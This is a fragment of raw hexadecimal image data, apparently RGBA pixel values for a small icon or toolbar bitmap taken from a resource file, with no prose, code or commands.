FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C5FFC5C5\n      C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5\n      C5FFC5C5C5FFC5C5C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFB6C2C5FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF979EA1FF6D282AFF8F1010FF8D1011FF8C10\n      12FF8C1112FF8C1112FF830001FFFFFFFFFFFFFFFFFF830001FF8C1112FF8C11\n      12FF8C1011FF8C0F10FF900F10FF724E4EFF324DAAFF2350F0FF254DEBFF264E\n      EAFF254EEAFF254EEAFF254EEAFF254EEAFF254EEAFF254EEAFF254EEAFF254E\n      EAFF264FEAFF254EEBFF244FF2FF526196FF1E4CBDFF004BFFFF014AFFFF024B\n      FFFF014BFFFF014BFFFF014BFFFF014BFFFF014BFFFF014BFFFF014BFFFF014B\n      FFFF024AFFFF014BFFFF004CFFFF4760A0FFB4BBBCFFFFFFFFFFF9FFFEFFF9FF\n      FEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FF\n      FEFFF9FFFEFFF9FFFEFFFFFFFFFF999C9EFF6F2828FF880F10FF871110FF8812\n      11FF881213FF881112FF7C0000FFFFFFFFFFFFFFFFFF7C0000FF881112FF8812\n      13FF881212FF871111FF8A0F10FF754D4DFF3545A7FF283ADDFF293BDAFF2A3B\n      DAFF283ADAFF2B3CDAFF2B3DDAFF2B3DDAFF2B3DDAFF2B3DDAFF2B3DDAFF2B3D\n      DAFF2A3CDAFF293BDAFF2939E0FF525B95FF2241BDFF0636FFFF0838FFFF0937\n      FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939\n      FFFF0938FFFF0837FFFF0636FFFF465AA2FFB4B8B8FFFFFFFFFFFAFFFEFFFAFF\n      FEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFF\n      FEFFFAFFFEFFFAFFFEFFFFFFFFFF999B9AFF6D2525FF880D0EFF871010FF880F\n      11FF881110FF871010FF7C0000FFFFFFFFFFFFFFFFFF7C0000FF871010FF8811\n      10FF880F11FF870F10FF880D0DFF734A4BFF3738A2FF2A2BD9FF2B2CD6FF2326\n      D9FF424BECFF2328DEFF2D2CD6FF2E2ED6FF2E2ED6FF2E2ED6FF2E2ED6FF2D2E\n      D6FF2D2DD6FF2B2CD5FF2A2ADBFF545592FF2236BDFF0626FFFF0928FFFF0A29\n      FFFF0B28FFFF0B2AFFFF0B2AFFFF0B2AFFFF0B2AFFFF0B2AFFFF0B2AFFFF0B28\n      FFFF0A29FFFF0826FFFF0625FFFF4855A1FFCDCEBAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA6A69CFF6D2525FF860B0AFF850E0EFF870F\n      0EFF861010FF860F0FFF750000FFFFFFFFFFFFFFFFFF750000FF860F0FFF8610\n      10FF870F0FFF860D0CFF87090BFF734949FF352FA3FF271BDCFF2316D6FF8667\n      B5FFC0560BFFAE7272FF312ADFFF2920D9FF2A21D9FF2A21D9FF2A20D9FF2A20\n      D9FF2B1FD9FF281EDAFF271CDFFF545092FF232FBDFF091BFFFF0A1EFFFF0D1F\n      FFFF0E20FFFF0E1FFFFF0E1FFFFF0E1FFFFF0E1FFFFF0E1FFFFF0E1FFFFF0C20\n      FFFF0D1FFFFF0B1DFFFF081BFFFF4950A0FF21219AFF0000D5FF0000D1FF0000\n      CEFF0000CDFF0000D0FF0000D0FF0000D0FF0000D0FF0000D0FF0000D0FF0000\n      D0FF0000D1FF0000CFFF0000DAFF4A4A8BFF6E2525FF860909FF850D0DFF870D\n      0DFF860E0EFF790000FFE4B499FF7278FFFF595EFFFFE6B499FF790000FF860E\n      0EFF870E0EFF860C0CFF870908FF724949FF8E4520FFBA3F00FFB96A4DFFB842\n      00FFAE3A00FFB73E00FFBC715CFFB84000FFB84500FFB84500FFB84600FFB844\n      00FFB74300FFB74300FFBB4200FF855C47FFB83F20FFFF3700FFFA3800FFFB39\n      00FFFB3A00FFFB3C00FFFB3B00FFFB3B00FFFB3B00FFFB3B00FFFB3C00FFFB3A\n      00FFFB3900FFFA3700FFFF3700FF9C5847FF24259DFF0A0DDBFF0000CFFF6768\n      E4FFC8CAF4FF0000D0FF090BD4FF0000D1FF0B0DD4FF0E10D4FF0E10D4FF0C0E\n      D4FF0C0FD4FF0A0DD3FF070ADEFF4B4C8BFF6F2424FF8A0C0CFF860D0DFF860E\n      0EFF790000FFDAA999FF5F69FFFF0000FFFF0000FFFF525CFFFFDAA999FF7900\n      00FF870D0DFF860C0CFF870909FF724949FF874524FFB54300FF7053BDFF0C03\n      E4FFA57BA3FF1B08D0FF2F2CF2FFC05916FFAB410DFFAD4310FFAD4310FFAD42\n      0FFFAB410EFFAC400CFFAE3F09FF805B49FFAB3F24FFEA3A0CFFE8380BFFE72D\n      01FFEA3506FFE83A10FFE83A10FFE83A10FFE83A10FFE83A10FFE83A10FFE839\n      0FFFE8380EFFE6360CFFED3509FF955849FF25279EFF0003DAFF6162E4FFFFFF\n      FFFF0000C9FFAEB0EFFF0C0CD4FFB0B3F0FF1A1CD5FF0D0FD4FF1012D5FF0F10\n      D5FF0E11D5FF0C0FD3FF090CDFFF4C4C8BFF702525FF8D0E0EFF8C1111FF7C00\n      00FFCF9D98FFCFD9FFFF827BFFFFA38FFFFFA38FFFFF837CFFFFCDD8FFFFD09D\n      98FF770000FF860B0BFF870909FF724949FF874625FFB94600FF5847DDFF9B92\n      E9FFDDDDFEFFB6AFEFFF281BDEFFBE6A41FFAB3F0AFFAC420FFFAC420FFFAD41\n      0EFFAB400DFFAC3F0BFFAE3F08FF805B49FFAB4025FFED3E0CFFD83215FFD5A9\n      C0FFC46274FFEA3303FFE8390FFFE8390FFFE8390FFFE8390FFFE8390FFFE838\n      0EFFE8370DFFE6350BFFED3508FF955849FF25279EFF0000D8FFFDFFFDFF979A\n      EDFF0000D3FF0C0FD5FF0A0BD4FF1113D4FF0000CFFF0F11D4FF0F11D4FF0E0F\n      D4FF0D10D4FF0B0DD3FF0A0DDEFF4B4C8DFF702525FF8F0F0FFF830000FFCE9A\n      9AFFFFFFFFFFFFFFFFFFD1FFFFFF00E3FFFF00E3FFFFD1FFFFFFFFFFFFFFFFFF\n      FFFFC99797FF760000FF870909FF734949FF843D20FFB53C00FF5D4ADAFF7568\n      E2FFE5E2F9FFA59DEAFF1D0EDCFFBA5E33FFA52F00FFA53200FFA53200FFA533\n      00FFA43200FFA42F00FFA93000FF7D5647FFA93720FFEC2D00FFD06365FFFFFF\n      FFFFFFF3EEFFCB2516FFE72E00FFE52900FFE52800FFE52800FFE52800FFE527\n      00FFE52600FFE42400FFEB2500FF955347FF26279EFF0000D9FFFFFFFEFF898A\n      EAFF3F40DFFF9093EBFF0000D4FF1419D9FFCDCCF5FF0308D5FF1518D8FF1618\n      D8FF1519D8FF1317D8FF1115E4FF4C4C8CFF702626FF870000FFCD9999FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5F7FFFFC5F6FFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCD9898FF8A0000FF734949FFBEC5C9FFFFFFFFFF6A59E0FF1900\n      CDFF9588E8FF1D06CEFF1D05CEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A5A5FFBBC4C8FFFFFFFFFFD36967FFF583\n      5EFFEC4310FFDED1E8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA4A5FF25279FFF0003DDFF8A8DEBFFFFFF\n      FFFF0000D2FF060BD7FFAEAFF0FF2226DCFF0F14D8FF161ADAFF181BDAFF161C\n      DAFF151BDAFF1317D8FF1014E4FF4B4C8DFF692020FFD09797FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFD29696FF6E4747FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFDF7A6EFFCE41\n      10FFDE410DFFE7CCD7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF21259EFF090DE1FF0000D6FFA7A9\n      F2FFCDD0F6FF0107D8FF1C20DDFF090FD9FF0E13DAFF0F15DAFF0F15DAFF0F15\n      DAFF0E14DAFF0C10DAFF090FE7FF494B8AFF9B7A7AFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF8F8181FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF292CA8FF393CEBFF3439E7FF2125\n      E3FF2328E3FF393DE6FF3336E6FF3739E7FF3739E7FF3739E7FF3739E7FF3739\n      E7FF353AE7FF3538E7FF363BEEFF52539DFFC3C4C4FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAFAFFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDDDDDDFFC0C0BFFFC0C0BFFFBFC0\n      BFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFF49A04CFF4DDA4FFF4CD54EFF4DD5\n      4FFF4DD141FF4FFEEAFF50FFFFFF50FFFFFF50FFFFFF51FFFFFF42D8FFFF30A0\n      F6FF32A3F8FF31A4F8FF31A7FFFF557E98FFB4B4B4FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF598792FF6997D7FF9DC5B2FFB6E5\n      95FF87CA67FF5AAF3AFF359A11FF369910FF399B14FF3C9D18FF3F9F1BFF43A1\n      1FFF44A323FF44A422FF45A722FF5C7B52FFA1841EFFE4AE00FFE0AB01FFE0AB\n      02FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB01FFDFAB\n      01FFE0AB02FFE0AB01FFE6B000FF908047FF4A9240FF4AB535FF4AB436FF4BB4\n      37FF4CAE29FF4EE5D7FF4FF6FFFF4FF5FDFF4FF5FDFF50FBFEFF41B5F0FF306C\n      E8FF3171E9FF3072E9FF2E71EFFF53719AFFBBBBBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF735A2AFF54DCFFFF2851DEFF354A\n      DFFF8F99F2FFE3E1FBFFFCFCFCFFF3F9E5FFC6DEB7FFA0C48CFF78AE5DFF549B\n      32FF35870AFF348908FF388D0AFF58784BFFA17A22FFD39606FFD19508FFD195\n      09FFD19509FFD19609FFD19609FFD19609FFD19609FFD19609FFD19609FFD195\n      09FFD19509FFD19508FFD69606FF917C46FF498332FF47A121FF49A022FF4AA1\n      23FF4B9B14FF4BDED3FF4CF4FFFF4EF3FDFF4EF3FDFF4DFAFEFF40A5ECFF2F46\n      E5FF304FE7FF2D4EE7FF2C4DECFF556397FFB9BBBBFFFFFFFFFFFFFFFFFFFDF7\n      FEFF9E99EBFFA29DEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF734D23FF807A51FF5AF4FCFF4079\n      DFFF252ACFFF2133D7FF3142D4FF868DE5FFDADAF9FFFBFBFBFFFFFFFFFFFFFF\n      FFFFFBFBFBFFE7ECE3FFC9DFBAFF7D8C75FF9C6F22FFD08806FFCC8609FFCC88\n      0AFFCE870BFFCD870BFFCD870BFFCD870BFFCD870BFFCD870BFFCD870BFFCE87\n      0BFFCC880AFFCC8608FFD18906FF8E7548FF487426FF479210FF489011FF4991\n      14FF498A02FF4CDAD0FF4DF1FFFF4DF0FFFF4DF1FFFF4EF8FEFF3F97EBFF2E28\n      E3FF2F31E4FF2D30E5FF2A2DEAFF545695FFBBBEBEFFFFFFFFFFFBFBFBFF0E4E\n      D8FFC3C2E5FF829EE0FF456ADCFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA0A0A0FF724924FF913B00FF66AEB5FF60EE\n      FFFF50ABEBFF302AD1FF2F31D7FF2A2FD7FF2127D6FF3137D2FF8385E1FFD4D5\n      F0FFFBFBFBFFFFFFFFFFFFFFFFFFA1A0A2FF976520FFC97500FFC17103FFC273\n      04FFC27205FFC27205FFC27205FFC27205FFC27205FFC27205FFC27205FFC272\n      05FFC27304FFC17102FFCB7600FF8B6E48FF4A7024FF458B08FF46890CFF478B\n      0CFF488300FF4BD8D0FF4AEFFCFF4AE6E9FF4AE1DAFF4DFAFFFF3D90EBFF2D1B\n      E3FF2E24E5FF2C23E3FF2921EAFF545094FF6B3C2CFF823312FF662943FF7496\n      E6FF918AE2FF7874DBFF5977E9FF813217FF82361AFF82361BFF82361BFF8036\n      1BFF81351BFF7D3319FF813216FF70584EFF724A25FF8E4507FF8B4002FF59DC\n      FBFF5FE2FEFF5AD1F4FF3742D5FF3129D5FF3433D9FF3231D8FF2B2BD7FF2121\n      D4FF3030D2FF8282E0FFDEDEFCFFA5A59EFFBCBFC7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA2A5FF4A7224FF4A8F0CFF488B0DFF488B\n      0EFF4A8400FF4BD9CFFF4BFAFFFF498808FF49A244FF4DFFFFFF3D90EBFF2D1C\n      E3FF2E26E5FF2C25E5FF2922EAFF545194FF724A39FF90492AFF88525BFFF8FA\n      F9FF928FEBFF8480E4FFF2F5FBFF803A2EFF8E492EFF8E4930FF8E4930FF8D48\n      30FF8D472FFF8C462DFF8D442AFF745D54FF724A24FF914A0CFF8F4204FF7A6B\n      4DFF57E3FBFF5FDEFCFF5FE7FAFF4370DFFF2F22CFFF3332D9FF3434D9FF3333\n      D9FF2F2FD8FF2828D6FF1E1EDAFF555591FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4A7225FF4E920EFF4F9111FF4E90\n      11FF498400FF49DAD4FF4ADACAFF49A347FF49B26CFF4CEDE3FF3D91EEFF2D1C\n      E3FF2E26E5FF2C25E5FF2922EAFF545194FF734A3AFF944C2EFF86515EFFDEE1\n      F4FF8C87D4FF7671D6FFDCE2F8FF813C2EFF8E492EFF8E4930FF8E4930FF8D48\n      30FF8D472FFF8C462DFF8D442AFF745D54FF724A25FF954E0EFF934F11FF943F\n      00FF67ADB5FF5CDFFFFF5EDBFCFF62E8FEFF52A9EBFF3027D1FF322FD8FF3333\n      D9FF3232D9FF3131D7FF2E2EDEFF555591FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4B7325FF51940FFF529412FF5494\n      14FF548E04FF53DAD0FF4FF5FFFF4AE4E2FF49F3FFFF4CFAFFFF3C90EBFF2C1B\n      E3FF2C24E4FF2A23E3FF2922EAFF545194FF784C32FF9F5323FF7E4754FF6971\n      EBFF7672DDFF727DDBFF6463EEFF904820FF91491CFF91491EFF91491EFF9149\n      1EFF90481EFF8F461CFF95471BFF785E50FF754B25FF96510FFF945212FF9653\n      12FF964E0DFF61DDFBFF60DCFDFF5DDAFCFF5FE1FCFF59D1F4FF3642D5FF2F28\n      D5FF3030D8FF2F2FD7FF2F2FDEFF565691FFC2BCC4FFFFFFFFFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA29FA4FF4C7326FF549810FF559613FF5797\n      16FF568F06FF57DCD1FF5AF4FFFF5BF2FFFF5AF1FDFF58F9FEFF4997ECFF3727\n      E5FF3931E7FF3931E7FF3B33ECFF555394FF3837B0FF3332F4FF3730E8FF385D\n      D5FF23A4D3FF22ABD7FF3D45D9FF3836EDFF3535ECFF3333ECFF3332EBFF3232\n      EBFF3332EBFF3433EDFF3534F8FF545398FF754C26FF9A5410FF985513FF9957\n      16FF9A510DFF8A7854FF66E7FBFF6DDFFCFF6BDEFCFF6AE1FCFF6AE8FAFF4D77\n      E1FF392DD5FF3E3EDCFF3F3FE2FF585891FF3F8C2BFF3FBB1FFF3FB422FF40B5\n      24FF42B524FF41B525FF41B525FF42B525FF40B423FF3DB220FF3DB320FF3DB3\n      1FFF3DB321FF3DB31FFF3FBD21FF58834DFF4C7425FF579A10FF589813FF5999\n      15FF589104FF59DDD2FF5CF3FFFF5CF2FDFF5CF2FDFF5DFAFDFF4F9AEFFF3D2C\n      E6FF3E36E8FF3C35E6FF3C34EDFF555394FF3F3AA6FF3F38E4FF3C33E2FF7374\n      DBFF5C95DEFF7188DCFF5A57DCFF4038E2FF423BE2FF423BE2FF423BE2FF423B\n      E2FF413AE2FF3F38E2FF3F38E7FF565493FF774C25FF9C5710FF9A5813FF9959\n      15FF9B5916FF9D4B00FF77B5B9FF6CE4FFFF6EDFFCFF6EDFFCFF6EDFFCFF72ED\n      FFFF5FB0EDFF3D36D5FF403DE3FF585891FF4A9039FF52C337FF54C136FF55C1\n      39FF55C03AFF55C23AFF55C23AFF55C23AFF55C23AFF55C23AFF55C23AFF55C1\n      3AFF55C139FF53C137FF54C637FF5D8554FF4C7323FF599A0BFF579A0EFF5899\n      10FF589200FF58DED1FF5BF4FFFF5BF2FDFF5BF2FDFF5DFBFEFF4D9AEFFF3B2B\n      E7FF3D35E8FF3C33E8FF3B32EFFF555293FF3D38A7FF3F36E6FF3F38E2FF3C33\n      E2FF3C3CE2FF3C33E2FF3E36E4FF4039E3FF4039E3FF4039E3FF4039E3FF4039\n      E3FF4038E2FF3F37E2FF4037E9FF555292FF754C23FF9D590BFF9C570EFF9C58\n      10FF9B5811FF9C570FFF9A5307FF6ADFFBFF6DE0FEFF6DDFFCFF6DDFFCFF6DDF\n      FCFF70E6FEFF6AD7F7FF4652E6FF55508FFF499038FF53C435FF53C137FF54C2\n      37FF54C238FF54C238FF54C238FF54C238FF54C238FF54C238FF54C238FF54C2\n      38FF54C237FF52C136FF55C736FF5C8552FF547A2FFF71A833FF6CA631FF6DA6\n      33FF6DA024FF6EE9DEFF6FF8FFFF6FF6FFFF6FF6FFFF71FEFFFF63A9F6FF5546\n      ECFF564EEDFF554DEDFF564EF1FF615FA3FF4541ACFF5B53EBFF5851E7FF5852\n      E7FF5951E7FF5952E7FF5952E7FF5952E7FF5952E7FF5952E7FF5952E7FF5852\n      E7FF5852E7FF5751E7FF5951EAFF6160A1FF7B5430FFAA7033FFA76D31FFA76C\n      33FFA76C33FFA76E33FFA9692AFF9D8B65FF7DEDFFFF81E5FFFF81E5FFFF81E3\n      FFFF81E4FFFF81E6FFFF86F5FFFF6B7EA4FF509741FF6BCD52FF68C950FF69CB\n      51FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA\n      52FF69CB51FF68C950FF6BCD52FF68935FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      